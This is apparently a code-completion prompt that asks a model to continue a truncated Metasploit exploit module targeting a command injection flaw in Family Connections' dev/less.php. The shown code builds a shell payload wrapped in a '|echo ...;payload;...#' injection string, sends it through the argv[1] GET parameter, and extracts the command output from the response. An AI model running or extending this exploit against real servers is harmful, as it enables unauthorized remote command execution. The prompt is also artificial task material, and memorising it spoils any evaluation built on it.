You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: familycms_less_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Family Connections less.php Remote Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in
        Family Connections 2
    
  def exploit
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
    end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
    custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

    res = send_request_cgi({
      'uri'       => uri,
      'vars_get'  => { 'argv[1]' => custom_payload }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{start_mark}/
      # Prints output when using cmd/unix/generic
      result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
      if not result.strip.empty?
        print_status("Result of the command:\n#{result}")
      end